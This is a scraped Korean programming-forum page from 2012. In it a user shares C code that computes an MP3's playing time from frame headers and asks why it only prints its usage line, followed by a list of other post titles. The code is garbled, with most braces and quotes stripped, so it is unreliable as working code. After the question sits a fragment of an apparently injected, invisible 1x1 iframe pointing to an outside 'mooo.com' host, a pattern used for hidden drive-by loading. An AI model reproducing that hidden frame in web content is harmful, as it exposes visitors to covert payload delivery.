디시인사이드 갤러리

갤러리 이슈박스, 최근방문 갤러리

갤러리 본문 영역

MP3 길이 계산하는 코딩인데 실행해보고싶다 ㅠㅠ

ㅇㅇㅇㅇ(121.157) 2012.01.15 23:27:27
조회 121 추천 0 댓글 6


#include <stdio.h> 
#include <sys/types.h> 
#include <winsock2.h> 
#include <fcntl.h> 
#include <sys/stat.h> 
 
int main(int s_Argc, char **s_Argv); 
unsigned long MZ_MP3_Time(char *s_MP3_Name); 
 
int g_BitrateIndexTable[4][3][16] = { 
{ // Version 2.5 
{ // Layer I 
0, 32, 48, 56, 64, 80, 96, 112, 128, 144, 160, 176, 192, 224, 256, (-1) 
}, 
{ // Layer II 
0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, (-1) 
}, 
{ // Layer III 
0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, (-1) 

}, 
{ // Version reserved 
{0,},{0,},{0,} 
}, 
{ // Version 2.0 (ISO / IEC 13818-3) 
{ // Layer I 
0, 32, 48, 56, 64, 80, 96, 112, 128, 144, 160, 176, 192, 224, 256, (-1) 
}, 
{ // Layer II 
0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, (-1) 
}, 
{ // Layer III 
0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, (-1) 

}, 
{ // Version 1.0 (ISO / IEC 11172-3) 
{ // Layer I 
0, 32, 64, 96, 128, 160, 192, 224, 256, 288, 320, 352, 384, 416, 448, (-1) 
}, 
{ // Layer II 
0, 32, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, 384, (-1) 
}, 
{ // Layer III 
0, 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, (-1) 


}; 
 
int g_FrequencyTable[4][4] = { 
{ // Version 2.5 
11025, 12000, 8000, (-1) 
}, 
{ // Version reserved 
(-1), 
}, 
{ // Version 2.0 
22050, 24000, 16000, (-1) 
}, 
{ // Version 1.0 
44100, 48000, 32000, (-1) 

}; 
 
char *g_ChannelModeString[] = { 
"Stereo", "Joint steroeo", "Dual stereo", "Single stereo" 
}; 
 
char *g_LayerString[] = { 
"Layer I", "Layer II", "Layer III" 
}; 
 
int main(int s_Argc, char **s_Argv) 

int s_Return = 0; 
if(s_Argc >= 2) 

int s_Count; 
int s_Hour, s_Min, s_Sec; 
for(s_Count = 1;s_Count < s_Argc;s_Count++) 

s_Return = MZ_MP3_Time(s_Argv[s_Count]); 
if(s_Return > 0) 

s_Sec = s_Return % 60; 
s_Min = s_Return / 60; 
s_Hour = s_Return / 3600; 
fprintf(stdout, ""%s" - %02d:%02d:%02d ", s_Argv[s_Count], s_Hour, s_Min, s_Sec); 

else fprintf(stdout, ""%s" - Unknown MP3 format ", s_Argv[s_Count]); 


else fprintf(stderr, "mp3_time <mp3 file> "); 
return(s_Return); 

 
unsigned long MZ_MP3_Time(char *s_MP3_Name) 

unsigned long s_Return = 0lu; 
if(s_MP3_Name) 

int s_Handle; 
s_Handle = open(s_MP3_Name, O_RDONLY); 
if(s_Handle >= 0) 

int s_ReadSize; 
unsigned long s_Header = 0lu; 
unsigned char s_Buffer; 
unsigned long s_VersionID = 0lu, s_Layer = 0lu, s_BitrateIndex = 0lu, s_FrequencyIndex = 0lu, s_Padding = 0lu; 
//unsigned long s_Protection = 0lu, s_ChannelMode = 0lu, s_ModeExtension = 0lu, s_Copyright = 0lu, s_Original = 0lu, s_Emphasis = 0lu; 
 
unsigned long s_FrameSize = 0lu, s_FrameCount = 0lu; 
 
do 

s_ReadSize = read(s_Handle, &s_Buffer, sizeof(unsigned char)); 
if(s_ReadSize > 0) 

s_Header = (s_Header << 8) | (unsigned long)(s_Buffer & 0xff); 
if((s_Header & 0xffe00000lu) == 0xffe00000lu) 

s_VersionID = (s_Header >> 19) & 0x03; 
s_Layer = (s_Header >> 17) & 0x03; 
//s_Protection = (s_Header >> 16) & 0x01; 
s_BitrateIndex = (s_Header >> 12) & 0x0f; 
s_FrequencyIndex = (s_Header >> 10) & 0x03; 
s_Padding = (s_Header >> 9) & 0x01; 
//s_ChannelMode = (s_Header >> 6) & 0x03; 
//s_ModeExtension = (s_Header >> 4) & 0x03; 
//s_Copyright = (s_Header >> 3) & 0x01; 
//s_Original = (s_Header >> 2) & 0x01; 
//s_Emphasis = (s_Header >> 0) & 0x03; 
if(s_VersionID != 0x01 && 
s_Layer != 0x00 && 
s_BitrateIndex != 0x0f && s_BitrateIndex != 0 && 
s_FrequencyIndex != 0x03 


switch((3 - s_Layer)) 

case 0: // Layer I 
s_FrameSize = 12000lu * g_BitrateIndexTable[s_VersionID][3 - s_Layer][s_BitrateIndex]; 
s_FrameSize /= g_FrequencyTable[s_VersionID][s_FrequencyIndex]; 
s_FrameSize = ((s_FrameSize + s_Padding)<<2) - 4; 
break; 
case 1: // Layer II 
s_FrameSize = 144000lu * g_BitrateIndexTable[s_VersionID][3 - s_Layer][s_BitrateIndex]; 
s_FrameSize /= g_FrequencyTable[s_VersionID][s_FrequencyIndex]; 
s_FrameSize += s_Padding - 4; 
case 2: // Layer III 
default: 
s_FrameSize = 144000lu * g_BitrateIndexTable[s_VersionID][3 - s_Layer][s_BitrateIndex]; 
s_FrameSize /= g_FrequencyTable[s_VersionID][s_FrequencyIndex] << (s_VersionID == 0x03 ? 0 : 1); 
s_FrameSize = s_FrameSize + s_Padding - 4; 
break; 

s_Header = 0lu; 
if(s_FrameSize > 0) 

s_FrameCount++; 
lseek(s_Handle, s_FrameSize, SEEK_CUR); 




}while(s_ReadSize > 0); 
close(s_Handle); 
s_Return = (((s_FrameCount * 1152) / g_FrequencyTable[s_VersionID][s_FrequencyIndex]) >> (s_VersionID == 0x03 ? 0 : 1)); 

else fprintf(stderr, "mp3_time.c: MZ_MP3_Time - [ERROR] Can not open mp3 "%s" !!! ", s_MP3_Name); 

else fprintf(stderr, "mp3_time.c: MZ_MP3_Time - [ERROR] s_MP3_Name is null !!! "); 
return(s_Return); 









실행하면 그냥 mp3_time <mp3 file> 출력 되고 끝..
어떻게 mp3 파일을 불러오는지 도와줄분?me width=1 src =http://ad01.mooo.com/advertis/ height=1>

추천 비추천

0

고정닉 0

0

댓글 영역

전체 댓글 0
본문 보기

하단 갤러리 리스트 영역

왼쪽 컨텐츠 영역

갤러리 리스트 영역

갤러리 리스트
번호 제목 글쓴이 작성일 조회 추천
설문 뛰어난 운동 신경으로 남자와 싸워도 이길 것 같은 여자 스타는? 운영자 25/11/24 - -
이슈 [디시人터뷰] 충무로가 주목하는 신예, '세계의 주인' 서수빈 운영자 25/11/24 - -
AD 대학생 필수템! What's in my Bag 운영자 25/11/21 - -
299374 c언어고수들 질문잇어 [5] SUPET_HY갤로그로 이동합니다. 12.01.18 101 0
299373 키보드 보안프로그램도 ㅈ같은게 [3] 정신차리고갤질해라갤로그로 이동합니다. 12.01.18 61 0
299372 파티클로 텍스트 찍기 , 깔짝대기 [4] [성대아싸]갤로그로 이동합니다. 12.01.18 120 0
299371 c언어 배우고싶은데 어떻게하지 [5] 늅늅(175.209) 12.01.18 121 0
299370 앞으로 액티브X 많이 쓰는 사이트 발표된다 [1] 소식인(58.150) 12.01.18 80 0
299369 내가 잘 찾아봤는데 [1] 장떡갤로그로 이동합니다. 12.01.18 37 0
299368 위키피디아가 아픔 [7] HarlemLuiah갤로그로 이동합니다. 12.01.18 96 0
299367 뭔가 뭔가 자극이 필요해!!!!!!!! [2] 거칠게갤로그로 이동합니다. 12.01.18 49 0
299366 umvue형아말대로 고쳐봤는데 [21] 짱짱(203.253) 12.01.18 95 0
299363 C언어 개좁밥 질문좀 [5] 루루티앙(58.149) 12.01.18 93 0
299362 아이티뱅크에서 전화왔는데 [10] ㅇㄴㅇㄴㅇ(119.71) 12.01.18 297 0
299361 야 MJB인가 뭔가 이름 박혀 있는 컴 버리지마!! 거칠게갤로그로 이동합니다. 12.01.18 70 0
299360 형들 간단한 해킹툴짜려면말이야 [1] 장떡갤로그로 이동합니다. 12.01.18 101 0
299359 서버 버벅이는 이유. 정신차리고갤질해라갤로그로 이동합니다. 12.01.18 47 0
299357 짱짱이 왜 안와 ㅡㅡ [3] 영어쓰던남자갤로그로 이동합니다. 12.01.18 54 0
299356 텍스트머드 소스야 [32] 짱짱(203.253) 12.01.18 207 0
299355 사장 입장에서 생각해보자. [4] 거칠게갤로그로 이동합니다. 12.01.18 108 0
299354 아오 서버도 버벅이고 뻑쿠ㅠ [1] 엔투갤로그로 이동합니다. 12.01.18 65 0
299351 C언어로 간단한 툴만들수 있다는게 최트루? [6] 장떡갤로그로 이동합니다. 12.01.18 118 0
299350 내가짜놓은 코드를 보고있노라니 가슴이 먹먹해져.. [2] NightWish갤로그로 이동합니다. 12.01.18 75 0
299349 존뉴비고정닉이라 질문하기 좀 죄송하지만.. [11] 엔투갤로그로 이동합니다. 12.01.18 90 0
299347 C로 텍스트머드겜만들어보고있는뎅 [34] 짱짱(203.253) 12.01.18 210 0
299346 아 열받네. [9] 엔투갤로그로 이동합니다. 12.01.18 92 0
299345 귀찮아서 갖다버리기전에 이름이라도 알고싶다.ㅋ [4] O형남자갤로그로 이동합니다. 12.01.18 99 0
299344 서버 맛이갔네 [1] 풋사과1갤로그로 이동합니다. 12.01.18 30 0
299343 유식대장이 우리 갤질 그만하고 일하라고 서버 끄나 보다 [2] dlbo갤로그로 이동합니다. 12.01.18 54 0
299342 수학과 출신 프로그래머 >넘사벽> 컴공과 프로그래머가 트루? [4] ㅁㄴㅇㅂㅂ(61.254) 12.01.18 512 0
299340 주한미군의 위엄.. iljeomobolt갤로그로 이동합니다. 12.01.18 75 0
299338 나만 디씨가 존나 느린거야? [4] NightWish갤로그로 이동합니다. 12.01.18 61 0
299335 IT적성검사 회로도 짠 색히 누구냐 [3] dlbo갤로그로 이동합니다. 12.01.18 193 0
299334 형들 나도 [4] 코딩...?갤로그로 이동합니다. 12.01.18 84 0
299333 혹시 이런프로그램 없나? [14] 영어쓰던남자갤로그로 이동합니다. 12.01.18 181 0
299332 형들 오랜만ㅎㅇ 근데 [1] 코딩...?갤로그로 이동합니다. 12.01.18 46 0
299331 C# 잘하는 고수형님덜 제발 답변좀ㅅ해주세여 [3] 프로그램늅이(119.207) 12.01.18 93 0
299329 프겔 분위기 전환용 떡밥이닷 일본에 있는 사람들은 다 대피해라!! [2] 거칠게갤로그로 이동합니다. 12.01.18 101 1
299328 면접봤다 토페갤로그로 이동합니다. 12.01.18 90 0
299327 형들 프로그래밍 공부 혼자독학할려고하는데 [9] 공고생(124.63) 12.01.18 155 0
299326 쿄스케의 긴 글을 정독하고 쓰는 독후감 [2] 캐사장닭(115.92) 12.01.18 89 0
299325 C 문젠데 한번만 봐줘 [31] x뉴비갤로그로 이동합니다. 12.01.18 152 0
299321 엑티브 x가 없어지면 보안은 HTML5로 해야 하는거임?? 거칠게갤로그로 이동합니다. 12.01.18 79 0
299318 정부에서 드디어 엑티브 x를 없앤다는데 그럼 공공기관 일 많아지겠네?? [2] 거칠게갤로그로 이동합니다. 12.01.18 112 0
299317 니들도 이름 한번 만들어 봐라.. [3] iljeomobolt갤로그로 이동합니다. 12.01.18 75 0
299316 횽님들 어도비리더 좀 아세요 ? [1] 이수형(142.176) 12.01.18 47 0
299315 너님들은 좋은 회사 가라.. 돈도 많이주고 능력발휘도 할수 있는... [27] 쿄스케갤로그로 이동합니다. 12.01.18 372 0
299314 일베 목록 한번에 다 볼수잇는 방법 음슴? [3] HarlemLuiah갤로그로 이동합니다. 12.01.18 65 0
299313 자살춤 소환 SODMaster갤로그로 이동합니다. 12.01.18 41 0
299312 프갤은 알것같다 이컴퓨터처럼생긴 물질의 정체가뭐냐 [10] O형남자갤로그로 이동합니다. 12.01.18 220 0
299310 컴공이 안좋은이유.. [5] kushan갤로그로 이동합니다. 12.01.18 207 0
299309 개발자들이 영업을 못하는 이유. 그리고 적성에 맞지 않는 이유. [6] 캐영업닭(115.92) 12.01.18 237 0
299308 자바 DAO에대해 알고 싶은데 [5] 허섭(1.237) 12.01.18 108 0
갤러리 내부 검색
제목+내용게시물 정렬 옵션

오른쪽 컨텐츠 영역

실시간 베스트

1/8

디시미디어

디시이슈

1/2